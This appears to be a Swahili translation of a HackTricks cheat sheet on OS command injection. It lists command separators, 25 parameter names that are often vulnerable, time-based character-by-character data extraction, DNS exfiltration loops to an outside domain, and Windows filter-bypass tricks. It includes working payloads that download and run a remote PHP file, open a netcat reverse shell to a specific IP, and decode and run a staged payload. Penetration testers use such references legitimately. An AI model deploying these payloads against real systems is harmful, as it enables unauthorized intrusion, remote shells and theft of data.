Command Injection

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Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Kuingiza Amri ni Nini?

Kuingiza amri inaruhusu utekelezaji wa amri za mfumo wa uendeshaji kwa hiari na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data yake yote inaweza kudukuliwa kabisa. Utekelezaji wa amri hizi kawaida huruhusu mshambuliaji kupata ufikiaji usioruhusiwa au udhibiti juu ya mazingira ya programu na mfumo wa msingi.

Muktadha

Kulingana na eneo ambapo mwingiliano wako unawekwa unaweza kuwa unahitaji kukomesha muktadha ulioorodheshwa (ukitumia " au ') kabla ya amri.

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Kizuizi za Kupita

Ikiwa unajaribu kutekeleza maagizo ya kiholela ndani ya mashine ya linux utakuwa na hamu ya kusoma kuhusu hizi Kizuizi:

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Vigezo

Hapa kuna vigezo 25 vinavyoweza kuwa hatarini kwa kuingiza nambari na udhaifu kama RCE sawa (kiungo):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Kupata data kwa muda uliowekwa

Kuchota data: herufi kwa herufi

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

Uchakataji wa data kulingana na DNS

Kulingana na chombo kutoka https://github.com/HoLyVieR/dnsbin pia kimehifadhiwa kwenye dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Kupuuza Uchujaji

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

Orodha ya Uchunguzi wa Kuvunja Nguvu

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

Marejeo

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!